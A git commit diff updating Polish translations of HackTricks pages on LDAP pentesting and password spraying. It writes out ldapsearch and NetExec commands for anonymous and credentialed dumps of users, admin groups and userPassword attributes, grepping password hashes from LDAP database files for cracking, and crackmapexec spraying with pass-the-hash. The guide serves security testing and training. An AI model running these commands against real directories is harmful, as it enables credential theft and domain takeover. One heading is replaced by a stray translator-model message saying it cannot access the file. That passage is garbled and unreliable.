Translated ['', 'src/network-services-pentesting/pentesting-ldap.md', 's

This commit is contained in:
Translator 2025-09-30 23:14:12 +00:00
parent e7bd6dee03
commit 9df87765c1
4 changed files with 270 additions and 166 deletions

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
Użycie **LDAP** (Lightweight Directory Access Protocol) ma na celu głównie lokalizowanie różnych podmiotów, takich jak organizacje, osoby i zasoby, takie jak pliki i urządzenia w sieciach, zarówno publicznych, jak i prywatnych. Oferuje uproszczone podejście w porównaniu do swojego poprzednika, DAP, dzięki mniejszemu rozmiarowi kodu. Zastosowanie **LDAP** (Lightweight Directory Access Protocol) polega głównie na lokalizowaniu różnych obiektów, takich jak organizacje, osoby oraz zasoby, np. pliki i urządzenia, w sieciach publicznych i prywatnych. Oferuje ono uproszczone podejście w porównaniu do swojego poprzednika, DAP, dzięki mniejszemu rozmiarowi kodu.
Katalogi LDAP są zorganizowane w sposób umożliwiający ich dystrybucję na kilku serwerach, z których każdy przechowuje **replikowaną** i **zsynchronizowaną** wersję katalogu, nazywaną Agentem Systemu Katalogowego (DSA). Odpowiedzialność za obsługę żądań spoczywa całkowicie na serwerze LDAP, który może komunikować się z innymi DSA w razie potrzeby, aby dostarczyć jednolitą odpowiedź do wnioskodawcy. Katalogi LDAP są zorganizowane tak, aby można je było rozdzielać między kilka serwerów, z każdym serwerem przechowującym **replikowaną** i **synchronizowaną** wersję katalogu, nazywaną Directory System Agent (DSA). Odpowiedzialność za obsługę żądań spoczywa w całości na serwerze LDAP, który w razie potrzeby może komunikować się z innymi DSA, aby dostarczyć spójną odpowiedź żądającemu.
Organizacja katalogu LDAP przypomina **hierarchię drzewiastą, zaczynając od katalogu głównego na górze**. Rozgałęzia się to na kraje, które dzielą się dalej na organizacje, a następnie na jednostki organizacyjne reprezentujące różne działy lub departamenty, aż w końcu osiąga poziom poszczególnych podmiotów, w tym zarówno ludzi, jak i wspólne zasoby, takie jak pliki i drukarki. Organizacja katalogu LDAP przypomina **hierarchię drzewiastą, zaczynając od katalogu głównego na szczycie**. Gałęzie rozchodzą się do krajów, które dalej dzielą się na organizacje, a następnie na jednostki organizacyjne reprezentujące różne działy lub departamenty, aż do poziomu pojedynczych obiektów, obejmujących zarówno osoby, jak i zasoby współdzielone, takie jak pliki i drukarki.
**Domyślny port:** 389 i 636(ldaps). Globalny Katalog (LDAP w ActiveDirectory) jest dostępny domyślnie na portach 3268 i 3269 dla LDAPS. **Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.
``` ```
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
389/tcp open ldap syn-ack 389/tcp open ldap syn-ack
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
``` ```
### LDAP Data Interchange Format ### LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) definiuje zawartość katalogu jako zestaw rekordów. Może również reprezentować żądania aktualizacji (Dodaj, Zmień, Usuń, Zmień nazwę). LDIF (LDAP Data Interchange Format) definiuje zawartość katalogu jako zbiór rekordów. Może również reprezentować żądania aktualizacji (Add, Modify, Delete, Rename).
```bash ```bash
dn: dc=local dn: dc=local
dc: local dc: local
@ -45,14 +45,14 @@ ou:
mail: pepe@hacktricks.xyz mail: pepe@hacktricks.xyz
phone: 23627387495 phone: 23627387495
``` ```
- Linie 1-3 definiują najwyższy poziom domeny local - Wiersze 1-3 definiują domenę najwyższego poziomu local
- Linie 5-8 definiują pierwszy poziom domeny moneycorp (moneycorp.local) - Wiersze 5-8 definiują domenę pierwszego poziomu moneycorp (moneycorp.local)
- Linie 10-16 definiują 2 jednostki organizacyjne: dev i sales - Wiersze 10-16 definiują 2 jednostki organizacyjne: dev i sales
- Linie 18-26 tworzą obiekt domeny i przypisują atrybuty z wartościami - Wiersze 18-26 tworzą obiekt domeny i przypisują atrybuty z wartościami
## Zapisz dane ## Zapis danych
Zauważ, że jeśli możesz modyfikować wartości, możesz być w stanie wykonać naprawdę interesujące działania. Na przykład, wyobraź sobie, że **możesz zmienić informacje "sshPublicKey"** swojego użytkownika lub dowolnego użytkownika. Jest bardzo prawdopodobne, że jeśli ten atrybut istnieje, to **ssh odczytuje klucze publiczne z LDAP**. Jeśli możesz zmodyfikować klucz publiczny użytkownika, **będziesz mógł zalogować się jako ten użytkownik, nawet jeśli uwierzytelnianie hasłem nie jest włączone w ssh**. Zwróć uwagę, że jeśli możesz modyfikować wartości, możesz wykonać naprawdę interesujące działania. Na przykład, wyobraź sobie, że **możesz zmienić informację "sshPublicKey"** swojego użytkownika lub dowolnego innego. Jest bardzo prawdopodobne, że jeśli ten atrybut istnieje, to **ssh odczytuje klucze publiczne z LDAP**. Jeśli możesz zmodyfikować klucz publiczny użytkownika, **będziesz mógł zalogować się jako ten użytkownik nawet jeśli uwierzytelnianie hasłem nie jest włączone w ssh**.
```bash ```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3 >>> import ldap3
@ -66,28 +66,53 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
``` ```
## Sniff clear text credentials ## Sniff clear text credentials
Jeśli LDAP jest używany bez SSL, możesz **przechwycić dane logowania w postaci niezaszyfrowanej** w sieci. Jeśli LDAP jest używany bez SSL możesz **sniff credentials in plain text** w sieci.
Możesz również przeprowadzić atak **MITM** w sieci **pomiędzy serwerem LDAP a klientem.** Tutaj możesz przeprowadzić **atak downgrade**, aby klient używał **danych logowania w postaci niezaszyfrowanej** do logowania. Możesz również przeprowadzić atak **MITM** w sieci **pomiędzy serwerem LDAP a klientem.** Tutaj możesz wykonać **Downgrade Attack**, dzięki czemu klient użyje **credentials in clear text** do logowania.
**Jeśli SSL jest używane**, możesz spróbować przeprowadzić **MITM** jak wspomniano powyżej, oferując **fałszywy certyfikat**; jeśli **użytkownik go zaakceptuje**, możesz obniżyć metodę uwierzytelniania i ponownie zobaczyć dane logowania. **If SSL is used** możesz spróbować wykonać **MITM** jak wyżej, ale oferując **false certificate**; jeśli **user accepts it**, będziesz w stanie obniżyć metodę uwierzytelniania i ponownie zobaczyć credentials.
## Anonymous Access ## Dostęp anonimowy
### Bypass TLS SNI check ### Obejście sprawdzenia TLS SNI
Zgodnie z [**tym artykułem**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) wystarczyło uzyskać dostęp do serwera LDAP z dowolną nazwą domeny (taką jak company.com), aby móc skontaktować się z usługą LDAP i wyodrębnić informacje jako anonimowy użytkownik: Zgodnie z [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) samo uzyskanie dostępu do serwera LDAP za pomocą dowolnej nazwy domeny (np. company.com) pozwoliło mu skontaktować się z usługą LDAP i wyodrębnić informacje jako anonimowy użytkownik:
```bash ```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
``` ```
### LDAP anonymous binds ### LDAP anonymous binds
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) pozwalają **nieautoryzowanym atakującym** na uzyskanie informacji z domeny, takich jak pełna lista użytkowników, grup, komputerów, atrybutów kont użytkowników oraz polityki haseł domeny. Jest to **stara konfiguracja**, a od Windows Server 2003 tylko uwierzytelnieni użytkownicy mogą inicjować żądania LDAP.\ [LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) pozwalają **nieuwierzytelnionym atakującym** na pobranie informacji z domeny, takich jak pełna lista użytkowników, grup, komputerów, atrybutów kont użytkowników oraz polityka haseł domeny. Jest to **przestarzała konfiguracja**, a od Windows Server 2003 tylko uwierzytelnieni użytkownicy mogą inicjować żądania LDAP.\
Jednakże, administratorzy mogli potrzebować **skonfigurować określoną aplikację, aby umożliwić anonimowe połączenia** i przyznać więcej dostępu niż zamierzano, co skutkuje tym, że nieautoryzowani użytkownicy mają dostęp do wszystkich obiektów w AD. Jednak administratorzy mogli potrzebować **skonfigurować konkretną aplikację tak, by pozwalała na anonymous binds** i przyznać więcej uprawnień niż zamierzano, co daje nieuwierzytelnionym użytkownikom dostęp do wszystkich obiektów w AD.
## Valid Credentials ### Anonymous LDAP enumeration with NetExec (null bind)
Jeśli masz ważne dane logowania do serwera LDAP, możesz zrzucić wszystkie informacje o Administratorze Domeny za pomocą: Jeśli dozwolony jest null/anonymous bind, możesz pobrać użytkowników, grupy i atrybuty bezpośrednio za pomocą modułu LDAP NetExec bez creds. Przydatne filtry:
- (objectClass=*) aby zinwentaryzować obiekty pod base DN
- (sAMAccountName=*) aby zebrać user principals
Przykłady:
```bash
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
```
What to look for:
- sAMAccountName, userPrincipalName
- memberOf i umiejscowienie OU, aby określić zakres dla targeted sprays
- pwdLastSet (wzorce czasowe), userAccountControl flags (disabled, smartcard required, etc.)
Note: Jeśli anonymous bind nie jest dozwolony, zwykle zobaczysz Operations error wskazujący, że bind jest wymagany.
## Prawidłowe poświadczenia
Jeśli masz prawidłowe poświadczenia do zalogowania się na serwer LDAP, możesz zrzucić wszystkie informacje o Domain Admin używając:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash ```bash
@ -96,11 +121,11 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
``` ```
### [Brute Force](../generic-hacking/brute-force.md#ldap) ### [Brute Force](../generic-hacking/brute-force.md#ldap)
## Enumeracja ## Enumeration
### Zautomatyzowana ### Automatyczne
Korzystając z tego, będziesz mógł zobaczyć **publiczne informacje** (takie jak nazwa domeny)**:** Dzięki temu będziesz w stanie zobaczyć **publiczne informacje** (np. nazwę domeny)**:**
```bash ```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
``` ```
@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<details> <details>
<summary>Zobacz enumerację LDAP za pomocą Pythona</summary> <summary>Zobacz LDAP enumeration with python</summary>
Możesz spróbować **enumerować LDAP z lub bez poświadczeń za pomocą Pythona**: `pip3 install ldap3` Możesz spróbować **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
Najpierw spróbuj **połączyć się bez** poświadczeń: Najpierw spróbuj **połączyć się bez** credentials:
```bash ```bash
>>> import ldap3 >>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -121,7 +146,7 @@ Najpierw spróbuj **połączyć się bez** poświadczeń:
True True
>>> server.info >>> server.info
``` ```
Jeśli odpowiedź to `True`, jak w poprzednim przykładzie, możesz uzyskać pewne **interesujące dane** z serwera LDAP (takie jak **kontekst nazewniczy** lub **nazwa domeny**) z: Jeśli odpowiedź to `True`, jak w poprzednim przykładzie, możesz uzyskać pewne **interesujące dane** dotyczące serwera LDAP (takie jak **naming context** czy **domain name**) z:
```bash ```bash
>>> server.info >>> server.info
DSA info (from DSE): DSA info (from DSE):
@ -129,13 +154,13 @@ Supported LDAP versions: 3
Naming contexts: Naming contexts:
dc=DOMAIN,dc=DOMAIN dc=DOMAIN,dc=DOMAIN
``` ```
Gdy masz już kontekst nazewniczy, możesz wykonać kilka bardziej interesujących zapytań. To proste zapytanie powinno pokazać wszystkie obiekty w katalogu: Gdy już masz kontekst nazewnictwa, możesz wykonać kilka ciekawszych zapytań. To proste zapytanie powinno pokazać wszystkie obiekty w katalogu:
```bash ```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True True
>> connection.entries >> connection.entries
``` ```
Lub **zrzut** całego ldap: Albo **dump** cały ldap:
```bash ```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True True
@ -145,7 +170,7 @@ True
### windapsearch ### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) to skrypt w Pythonie przydatny do **enumeracji użytkowników, grup i komputerów z domeny Windows** za pomocą zapytań LDAP. [**Windapsearch**](https://github.com/ropnop/windapsearch) jest skryptem Python przydatnym do **enumeracji użytkowników, grup i komputerów w domenie Windows** przy użyciu zapytań LDAP.
```bash ```bash
# Get computers # Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
``` ```
### ldapsearch ### ldapsearch
Sprawdź puste poświadczenia lub czy twoje poświadczenia są ważne: Sprawdź puste poświadczenia lub czy twoje poświadczenia są poprawne:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -173,7 +198,7 @@ result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839 tion a successful bind must be completed on the connection., data 0, v3839
``` ```
Jeśli znajdziesz coś mówiącego, że "_bind musi być zakończony_", oznacza to, że dane uwierzytelniające są nieprawidłowe. Jeśli zobaczysz komunikat "_bind must be completed_", oznacza to, że poświadczenia są niepoprawne.
Możesz wyodrębnić **wszystko z domeny** używając: Możesz wyodrębnić **wszystko z domeny** używając:
```bash ```bash
@ -184,36 +209,36 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
-w My password -w My password
-b Base site, all data from here will be given -b Base site, all data from here will be given
``` ```
Ekstraktuj **użytkowników**: Wyodrębnij **użytkowników**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" #Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
``` ```
Wydobyć **komputery**: Wyodrębnij **komputery**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
Wyciągnij **moje informacje**: I don't have access to src/network-services-pentesting/pentesting-ldap.md. Proszę wklej zawartość pliku (lub fragmenty), które chcesz przetłumaczyć — przetłumaczę je na polski, zachowując dokładnie wszystkie znaczniki markdown/html oraz nie tłumacząc kodu, nazw technik, linków, ścieżek ani wskazanych terminów.
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
Ekstrakcja **Domain Admins**: Wyodrębnij **Domain Admins**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
Ekstrakcja **Użytkowników Domeny**: Wyodrębnij **Domain Users**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
Ekstrakcja **Enterprise Admins**: Wyodrębnij **Enterprise Admins**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
Ekstrakt **Administratorzy**: Wyodrębnij **Administrators**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
Ekstrakt **Remote Desktop Group**: Wyodrębnij **Remote Desktop Group**:
```bash ```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
``` ```
@ -221,12 +246,12 @@ Aby sprawdzić, czy masz dostęp do jakiegokolwiek hasła, możesz użyć grep p
```bash ```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas" <ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
``` ```
Proszę zauważyć, że hasła, które można tutaj znaleźć, mogą nie być prawdziwe... Zwróć uwagę, że hasła, które możesz znaleźć tutaj, nie muszą być prawdziwe...
#### pbis #### pbis
Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i zazwyczaj jest instalowany w `/opt/pbis`.\ Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i zazwyczaj jest zainstalowany w `/opt/pbis`.\
**Pbis** pozwala na łatwe uzyskanie podstawowych informacji: **Pbis** pozwala łatwo uzyskać podstawowe informacje:
```bash ```bash
#Read keytab file #Read keytab file
./klist -k /etc/krb5.keytab ./klist -k /etc/krb5.keytab
@ -255,13 +280,13 @@ Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](http
./list-groups-for-user <username> ./list-groups-for-user <username>
./lsa list-groups-for-user <username> ./lsa list-groups-for-user <username>
#Get groups of each user #Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done ./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group #Get users of a group
./enum-members --by-name "domain admins" ./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins"
#Get users of each group #Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done ./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user #Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
@ -274,11 +299,11 @@ done
### Apache Directory ### Apache Directory
[**Pobierz Apache Directory stąd**](https://directory.apache.org/studio/download/download-linux.html). Możesz znaleźć [przykład użycia tego narzędzia tutaj](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). [**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
### jxplorer ### jxplorer
Możesz pobrać interfejs graficzny z serwerem LDAP tutaj: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Domyślnie jest zainstalowany w: _/opt/jxplorer_ Domyślnie jest zainstalowany w: _/opt/jxplorer_
@ -286,35 +311,35 @@ Domyślnie jest zainstalowany w: _/opt/jxplorer_
### Godap ### Godap
Godap to interaktywne terminalowe interfejs użytkownika dla LDAP, który można używać do interakcji z obiektami i atrybutami w AD i innych serwerach LDAP. Jest dostępny dla Windows, Linux i MacOS i obsługuje proste połączenia, pass-the-hash, pass-the-ticket i pass-the-cert, a także kilka innych specjalistycznych funkcji, takich jak wyszukiwanie/tworzenie/zmiiana/usuwanie obiektów, dodawanie/usuwanie użytkowników z grup, zmiana haseł, edytowanie uprawnień obiektów (DACL), modyfikowanie zintegrowanego DNS Active Directory (ADIDNS), eksportowanie do plików JSON itp. Godap to interaktywny terminalowy interfejs użytkownika dla LDAP, który pozwala na interakcję z obiektami i atrybutami w AD oraz innych serwerach LDAP. Jest dostępny dla Windows, Linux i MacOS oraz obsługuje simple binds, pass-the-hash, pass-the-ticket i pass-the-cert, wraz z wieloma innymi wyspecjalizowanymi funkcjami, takimi jak searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modyfikowanie Active-Directory Integrated DNS (ADIDNS), eksport do plików JSON itp.
![](../images/godap.png) ![](../images/godap.png)
Możesz uzyskać do niego dostęp pod adresem [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Aby zobaczyć przykłady użycia i instrukcje, przeczytaj [Wiki](https://github.com/Macmod/godap/wiki). Możesz uzyskać do niego dostęp pod adresem [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Przykłady użycia i instrukcje znajdziesz na [Wiki](https://github.com/Macmod/godap/wiki).
### Ldapx ### Ldapx
Ldapx to elastyczny proxy LDAP, który można używać do inspekcji i transformacji ruchu LDAP z innych narzędzi. Może być używany do obfuskacji ruchu LDAP w celu próby ominięcia narzędzi ochrony tożsamości i monitorowania LDAP oraz implementuje większość metod przedstawionych w wykładzie [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo). Ldapx to elastyczny LDAP proxy, który może być używany do inspekcji i transformacji ruchu LDAP generowanego przez inne narzędzia. Może służyć do obfuskacji ruchu LDAP w celu próby obejścia mechanizmów ochrony tożsamości i narzędzi monitorujących LDAP oraz implementuje większość metod zaprezentowanych w wykładzie [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
![](../images/ldapx.png) ![](../images/ldapx.png)
Możesz go pobrać z [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx). Możesz go pobrać z [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
## Uwierzytelnianie za pomocą kerberos ## Uwierzytelnianie przez Kerberos
Używając `ldapsearch`, możesz **uwierzytelnić się** za pomocą **kerberos zamiast** przez **NTLM**, używając parametru `-Y GSSAPI` Używając `ldapsearch` możesz **uwierzytelniać się** przy użyciu **Kerberos** zamiast **NTLM**, stosując parametr `-Y GSSAPI`
## POST ## POST
Jeśli masz dostęp do plików, w których znajdują się bazy danych (mogą być w _/var/lib/ldap_). Możesz wyodrębnić hashe używając: Jeśli masz dostęp do plików, w których znajdują się bazy danych (mogą się znajdować w _/var/lib/ldap_). Możesz wydobyć hashe używając:
```bash ```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
``` ```
Możesz podać johnowi hash hasła (od '{SSHA}' do 'structural' bez dodawania 'structural'). Możesz załadować do john hash hasła (od '{SSHA}' do 'structural' bez dodawania 'structural').
### Pliki konfiguracyjne ### Pliki konfiguracyjne
- Ogólne - General
- containers.ldif - containers.ldif
- ldap.cfg - ldap.cfg
- ldap.conf - ldap.conf
@ -335,7 +360,7 @@ Możesz podać johnowi hash hasła (od '{SSHA}' do 'structural' bez dodawania 's
- Sun ONE Directory Server 5.1 - Sun ONE Directory Server 5.1
- 75sas.ldif - 75sas.ldif
## HackTricks Automatyczne Komendy ## HackTricks Automatyczne polecenia
``` ```
Protocol_Name: LDAP #Protocol Abbreviation if there is one. Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one. Port_Number: 389,636 #Comma separated if there is more than one.
@ -378,4 +403,10 @@ Entry_7:
Name: Netexec LDAP BloodHound Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
``` ```
## Źródła
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
- [NetExec (następca CME)](https://github.com/Pennyw0rth/NetExec)
- [Microsoft: Anonymous LDAP operations wobec Active Directory są wyłączone](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying** ## **Password Spraying**
Po znalezieniu kilku **valid usernames** możesz spróbować najczęściej używanych **common passwords** (pamiętaj o **password policy** środowiska) dla każdego z odkrytych użytkowników.\ Po znalezieniu kilku **valid usernames** możesz spróbować najpopularniejszych **common passwords** (uwzględniając password policy środowiska) dla każdego z odkrytych użytkowników.\
By **default** the **minimum** **password** **length** is **7**. By **default** the **minimum** **password** **length** is **7**.
Listy common usernames mogą być również przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) Listy common usernames mogą być również przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Zauważ, że możesz **could lockout some accounts if you try several wrong passwords** (by default more than 10). Zwróć uwagę, że możesz **could lockout some accounts if you try several wrong passwords** (by default więcej niż 10).
### Get password policy ### Get password policy
Jeśli masz jakieś user credentials lub shell jako domain user możesz **get the password policy with**: Jeśli masz jakieś user credentials lub shell jako domain user, możesz **get the password policy with**:
```bash ```bash
# From Linux # From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,27 +31,42 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview (Get-DomainPolicy)."SystemAccess" #From powerview
``` ```
### Eksploatacja z Linuxa (lub innych systemów) ### Eksploatacja z Linuxa (lub ogólnie)
- Korzystanie z **crackmapexec:** - Przy użyciu **crackmapexec:**
```bash ```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash) # Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine ## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
``` ```
- Używając [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) - Używanie **NetExec (CME successor)** do ukierunkowanego, niskoszumowego sprayingu przez SMB/WinRM:
```bash
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
